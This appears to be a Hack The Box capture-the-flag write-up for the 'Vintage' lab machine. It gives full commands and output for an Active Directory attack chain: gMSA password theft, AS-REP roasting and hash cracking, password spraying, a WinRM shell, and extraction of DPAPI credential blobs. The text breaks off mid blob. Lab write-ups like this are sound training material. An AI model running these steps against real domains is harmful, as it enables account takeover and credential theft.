writeup 2025-03-28 · 19 min read

Hack The Box Vintage Writeup (Hard Windows)

Hard Windows AD box. A pre-Windows 2000 computer account yields a gMSA password, an AS-REP roast cracks svc_sql, and DPAPI plus RBCD reach Domain Admin.

Hack The Box Vintage Writeup (Hard Windows)

Summary

Vintage is a hard Windows domain controller where every step is an Active Directory misconfiguration rather than a service exploit. Starting from the given credentials for P.Rosa, NTLM is disabled, so the whole engagement runs over Kerberos tickets: a TGT feeds a BloodHound collection that exposes FS01$ as a pre-Windows 2000 compatible computer account, whose default password lets the tester reset it and read the msDS-ManagedPassword of the gMSA01$ group managed service account. gMSA01$ can add itself to ServiceManagers, which holds GenericAll over svc_ark, svc_ldap and svc_sql, so the tester clears ACCOUNTDISABLE on svc_sql, sets DONT_REQ_PREAUTH, AS-REP roasts it and cracks Zer0the0ne with hashcat. A Kerbrute password spray reuses that password for C.Neri, giving a WinRM shell, and two DPAPI blobs under C.Neri’s profile decrypt to the credentials of C.Neri_adm. C.Neri_adm belongs to DelegatedAdmins, which sits in msDS-AllowedToActOnBehalfOfOtherIdentity on DC01, so adding svc_sql to that group and giving it an SPN allows an S4U2self/S4U2proxy chain that impersonates the Domain Admin L.BIANCHI_ADM and hands over root.txt through wmiexec.

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# Nmap 7.93 scan initiated Thu Mar 13 20:31:15 2025 as: nmap -A -p- -oN scans/nmap.all -vv -Pn 10.10.11.45
Nmap scan report for vintage.htb (10.10.11.45)
Host is up, received user-set (0.065s latency).
Scanned at 2025-03-13 20:31:16 GMT for 244s
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-03-13 20:33:50Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         syn-ack Microsoft Windows RPC
54912/tcp open  msrpc         syn-ack Microsoft Windows RPC
62406/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 0s
| smb2-time: 
|   date: 2025-03-13T20:34:42
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 53352/tcp): CLEAN (Timeout)
|   Check 2 (port 53397/tcp): CLEAN (Timeout)
|   Check 3 (port 40843/udp): CLEAN (Timeout)
|   Check 4 (port 61163/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 13 20:35:20 2025 -- 1 IP address (1 host up) scanned in 244.38 seconds

LDAP

Tried performing a bloodhound scan using netexec w/ credentials for rosa:

1
2
3
$ nxc ldap 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123' --dns-server 10.10.11.45 -d vintage.htb --bloodhound -c All 
LDAP        10.10.11.45     389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

But got STATUS_NOT_SUPPORTED. With that in mind, the tester got a TGT for Rosa:

1
2
3
4
$ getTGT.py vintage.htb/P.Rosa:Rosaisbest123
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in P.Rosa.ccache

The tester did set the correct environment variable for the kerberos ticket:

1
$ export KRB5CCNAME=./P.Rosa.ccache

The tester added the DC to their /etc/resolv.conf file:

1
2
$ cat /etc/resolv.conf 
nameserver 10.10.11.45

Then, the tester ran the bloodhound collector:

1
2
3
4
5
6
7
8
$ nxc ldap dc01.vintage.htb -d vintage.htb -k --use-kcache --bloodhound -c All
LDAP        dc01.vintage.htb 389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        dc01.vintage.htb 389    DC01             [+] vintage.htb\P.Rosa from ccache 
LDAP        dc01.vintage.htb 389    DC01             Resolved collection methods: acl, objectprops, group, rdp, dcom, session, localadmin, container, psremote, trusts                      
LDAP        dc01.vintage.htb 389    DC01             Using kerberos auth without ccache, getting TGT                                                                                        
LDAP        dc01.vintage.htb 389    DC01             Using kerberos auth from ccache
LDAP        dc01.vintage.htb 389    DC01             Done in 00M 14S
LDAP        dc01.vintage.htb 389    DC01             Compressing output into /home/user/.nxc/logs/DC01_dc01.vintage.htb_2025-03-13_203803_bloodhound.zip

There’s an unusual user as domain admin:

BloodHound listing the Domain Admins group, where L.BIANCHI_ADM stands out as an unusual member

SMB

The tester also used smb to enumerate system users, groups and computers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache --rid-brute 5000 | tee scans/rid-brute.log
SMB                      dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB                      dc01.vintage.htb 445    dc01             [+] vintage.htb\P.Rosa from ccache
SMB                      dc01.vintage.htb 445    dc01             498: VINTAGE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             500: VINTAGE\Administrator (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             501: VINTAGE\Guest (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             502: VINTAGE\krbtgt (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             512: VINTAGE\Domain Admins (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             513: VINTAGE\Domain Users (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             514: VINTAGE\Domain Guests (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             515: VINTAGE\Domain Computers (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             516: VINTAGE\Domain Controllers (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             517: VINTAGE\Cert Publishers (SidTypeAlias)
SMB                      dc01.vintage.htb 445    dc01             518: VINTAGE\Schema Admins (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             519: VINTAGE\Enterprise Admins (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             520: VINTAGE\Group Policy Creator Owners (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             521: VINTAGE\Read-only Domain Controllers (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             522: VINTAGE\Cloneable Domain Controllers (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             525: VINTAGE\Protected Users (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             526: VINTAGE\Key Admins (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             527: VINTAGE\Enterprise Key Admins (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             553: VINTAGE\RAS and IAS Servers (SidTypeAlias)
SMB                      dc01.vintage.htb 445    dc01             571: VINTAGE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB                      dc01.vintage.htb 445    dc01             572: VINTAGE\Denied RODC Password Replication Group (SidTypeAlias)
SMB                      dc01.vintage.htb 445    dc01             1002: VINTAGE\DC01$ (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1103: VINTAGE\DnsAdmins (SidTypeAlias)
SMB                      dc01.vintage.htb 445    dc01             1104: VINTAGE\DnsUpdateProxy (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             1107: VINTAGE\gMSA01$ (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1108: VINTAGE\FS01$ (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1111: VINTAGE\M.Rossi (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1112: VINTAGE\R.Verdi (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1113: VINTAGE\L.Bianchi (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1114: VINTAGE\G.Viola (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1115: VINTAGE\C.Neri (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1116: VINTAGE\P.Rosa (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1120: VINTAGE\IT (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             1121: VINTAGE\HR (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             1122: VINTAGE\Finance (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             1123: VINTAGE\ServiceAccounts (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             1131: VINTAGE\DelegatedAdmins (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             1134: VINTAGE\svc_sql (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1135: VINTAGE\svc_ldap (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1136: VINTAGE\svc_ark (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1137: VINTAGE\ServiceManagers (SidTypeGroup)
SMB                      dc01.vintage.htb 445    dc01             1140: VINTAGE\C.Neri_adm (SidTypeUser)
SMB                      dc01.vintage.htb 445    dc01             1141: VINTAGE\L.Bianchi_adm (SidTypeUser)

Sanitize the output and save it to users.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Administrator
Guest
krbtgt
DC01$
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

BloodHound Enumeration

Enumerating through bloodhound has allowed the tester to discover a clear attack path.

PRE-WINDOWS 2000

BloodHound node for the FS01.VINTAGE.HTB computer account flagged as a pre-Windows 2000 compatible account

The FS01.VINTAGE.HTB computer account is a pre-windows 2000 compatible account. Reference.

The tester was able to change the password for FS01$ accound using the methods described in the reference link:

1
getTGT.py vintage.htb/FS01$:fs01

Then, the tester exported the correct variable in order to use the ticket:

1
export KRB5CCNAME=./FS01$.ccache

And changed password using impacket’s changepasswd.py:

1
changepasswd.py -k -newpass SuperSecurePass123! 'vintage.htb/FS01$@dc01.vintage.htb'

GMSA

GMSA01$@VINTAGE.HTB is a Group Managed Service Account. The group DOMAIN COMPUTERS@VINTAGE.HTB can retrieve the password for the GMSA GMSA01$@VINTAGE.HTB.

Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is mananaged by and automatically changed by Domain Controllers on a set interval (check the MSDS-ManagedPasswordInterval attribute).

The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.

BloodHound showing the Domain Computers group holding ReadGMSAPassword over the gMSA01$ service account

With that in mind, the tester obtained the GMSA password for GMSA01 using BloodyAD. Reference.

1
2
3
4
5
6
$ export ObjectId=S-1-5-21-4024337825-2033394866-2055507597-1107
$ python3 bloodyAD.py --host dc01.vintage.htb -d vintage.htb -u 'FS01$' -p 'SuperSecurePass123!' -k get object $ObjectId --attr msDS-ManagedPassword

distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339
msDS-ManagedPassword.B64ENCODED: qNZ+qlGD+Cx17DM27SffmeF+2eftJRLCsHfxsLxSzhh2dERzgKmiJzvEHrfEAqstlS64r4Y1OQdu8sdCT6b8+gYXpLDa8xBQIFyshNK7YPrERV3rJVALnhITHE4lKIYoagI4Dr9owAMBGo7ZC4LOoBGk90mk4uuIMHNtylVRWva41F+v2TFCzSNfKnBSVuLhiZ+koEMTCkgP3Z+4Xnnluw6qkD3WPsnsYDlYYizOGPhsUwB1GJyzFHawe4iwfVnbWQdouCgflR27treFO5W0R5RqcRhkwEYLomOobFVUa3kGh1iQNdpaJLPI6Uo4767UM1O/sSaeML8nKVKhwsDolA==

The tester marked the computer as owned, and continued to enumerate in bloodhound:

BloodHound with the FS01$ computer marked as owned while its outbound rights are enumerated

It seems like GMSA01 can add itself to the SERVICEMANAGERS group. And the SERVICEMANAGERS group has GenericAll over three accounts: SVC_ARK, SVC_LDAP and SVC_SQL:

BloodHound path from gMSA01$ into the ServiceManagers group, which holds GenericAll over svc_ark, svc_ldap and svc_sql

The tester obtained a TGT using the NTLM hash for GMSA01:

1
2
3
4
$ getTGT.py vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in GMSA01$.ccache

And exported the correct environment variable to work with the ticket:

1
$ export KRB5CCNAME=GMSA01\$.ccache

Then, the tester used BloodyAD tool to add the GMSA01 account to the SERVICEMANAGERS group:

1
2
$ python3 bloodyAD.py -d vintage.htb -k --host dc01.vintage.htb add groupMember 'SERVICEMANAGERS' 'GMSA01$'
[+] GMSA01$ added to SERVICEMANAGERS

Tried performing asreproasting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ GetNPUsers.py -usersfile users.txt -k -dc-ip dc01.vintage.htb vintage.htb/GMSA01\$
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gMSA01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User FS01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User svc_ldap doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_ark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set

The first two accounts are system accounts. The last account matches with “SVC_SQL” (as seen in the users.txt file):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat ~/hacking/htb/machines/hard/vintage/users.txt 
Administrator
Guest
krbtgt
DC01$
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

The tester removed the ACCOUNT_DISABLE attribute:

1
2
$ python3 bloodyAD.py -d vintage.htb -k --host dc01.vintage.htb remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl

Running again, it’s possible to see that the error message is not showing anymore:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ GetNPUsers.py -usersfile users.txt -k -dc-ip dc01.vintage.htb vintage.htb/GMSA01\$
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gMSA01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User FS01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_ldap doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_ark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set

Then the tester added DONT_REQ_PREAUTH to the SVC_SQL account so they make the account susceptible to an asreproast attack:

1
2
$ python3 bloodyAD.py -d vintage.htb -k --host dc01.vintage.htb add uac SVC_SQL -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQL's userAccountControl

The tester tried again to perform the asreproast attack, and this time it worked for SVC_SQL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ GetNPUsers.py -usersfile users.txt -k -dc-ip dc01.vintage.htb vintage.htb/GMSA01\$
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gMSA01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User FS01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc_sql@VINTAGE.HTB:898fa13d75efc5f0dc1c96cc9a45f422$5514a3fde33b092d36379028a5a687123501c1b746093f132b7ececcaa6db02b54d76426c5025181bfa97aa0ad51715370ef398e42aedbead43f1d89a6e272de066331eec9ca4c5905b267ba4481d54d0243d70ccb82addf14d054485d8d1664faa61d824200dbbd6b9aa7c4233a53bf260b359329207568b221ff16d86ac8f2b52d8708d32c81b18941a412946fed482567705d996a20e4bb64ee5217126b30511f092583bc1211ec0e864892705b14fa084bb5523109b7dba6a2690e99be18ddd3ba2271a9adee1ed74dc4cab6822642dcc6bb2456010f0824a10dbc9986f42df1704a3e82b098c60e
[-] User svc_ldap doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_ark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set

The tester saved the hash to a file and used hashcat to crack it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ hashcat svc_sql.roast /usr/share/wordlists/rockyou.txt 

<SNIP>

$krb5asrep$23$svc_sql@VINTAGE.HTB:898fa13d75efc5f0dc1c96cc9a45f422$5514a3fde33b092d36379028a5a687123501c1b746093f132b7ececcaa6db02b54d76426c5025181bfa97aa0ad51715370ef398e42aedbead43f1d89a6e272de066331eec9ca4c5905b267ba4481d54d0243d70ccb82addf14d054485d8d1664faa61d824200dbbd6b9aa7c4233a53bf260b359329207568b221ff16d86ac8f2b52d8708d32c81b18941a412946fed482567705d996a20e4bb64ee5217126b30511f092583bc1211ec0e864892705b14fa084bb5523109b7dba6a2690e99be18ddd3ba2271a9adee1ed74dc4cab6822642dcc6bb2456010f0824a10dbc9986f42df1704a3e82b098c60e:Zer0the0ne
                                                        
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc_sql@VINTAGE.HTB:898fa13d75efc5f0d...98c60e
Time.Started.....: Fri Mar 14 12:39:32 2025 (1 sec)
Time.Estimated...: Fri Mar 14 12:39:33 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1815.1 kH/s (0.34ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1038336/14344384 (7.24%)
Rejected.........: 0/1038336 (0.00%)
Restore.Point....: 1037312/14344384 (7.23%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: abc#123 -> Zechariah

Started: Fri Mar 14 12:39:29 2025
Stopped: Fri Mar 14 12:39:34 2025

Initial Access

The tester used the password to perform a password spray in the domain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ kerbrute passwordspray -d vintage.htb ~/hacking/htb/machines/hard/vintage/users.txt Zer0the0ne

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 03/14/25 - Ronnie Flathers @ropnop

2025/03/14 12:41:06 >  Using KDC(s):
2025/03/14 12:41:06 >   dc01.vintage.htb:88

2025/03/14 12:41:07 >  [+] VALID LOGIN:  svc_sql@vintage.htb:Zer0the0ne
2025/03/14 12:41:07 >  [+] VALID LOGIN:  C.Neri@vintage.htb:Zer0the0ne
2025/03/14 12:41:07 >  Done! Tested 17 logins (2 successes) in 0.844 seconds

Then, the tester got a TGT for “c.neri”:

1
2
3
4
$ getTGT.py vintage.htb/C.Neri:Zer0the0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in C.Neri.ccache

Exported the correct variable to use the ticket:

1
$ export KRB5CCNAME=./C.Neri.ccache

And configured the kerberos realm. This is how the configuration looks like (/etc/krb5.conf):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ cat /etc/krb5.conf 
[libdefault]
        default_realm = VINTAGE.HTB
        dns_lookup_realm = true
        dns_lookup_kdc = true

[realms]
        VINTAGE.HTB = {
                kdc = dc01.vintage.htb
                admin_server = dc01.vintage.htb
        }

[domain_realm]
        vintage.htb = VINTAGE.HTB
        .vintage.htb = VINTAGE.HTB

The tester used evil-winrm to connect to the machine as c.neri, using the kerberos TGT:

1
2
3
4
5
6
7
8
9
10
$ evil-winrm -i dc01.vintage.htb -r VINTAGE.HTB
                                      
Evil-WinRM shell v3.7
                                      
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                     
                                      
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                       
                                      
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents>

It’s important to note that the /etc/resolv.conf file in the tester’s machine looks like this:

1
2
3
nameserver 10.10.11.45
nameserver 10.139.1.1
nameserver 10.139.1.2

Privilege Escalation

After enumerating the local system for privilege escalation vectors, the tester did find some files related to DPAPI. Reference.

The tester, in the wirnm session, transformed the first credential into base64 in order to transfer to their machine:

1
2
3
*Evil-WinRM* PS C:\Users\C.Neri\appdata\local\microsoft\credentials> [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\C.Neri\appdata\local\microsoft\credentials\DFBE70A7E5CC19A398EBF1B96859CE5D"))

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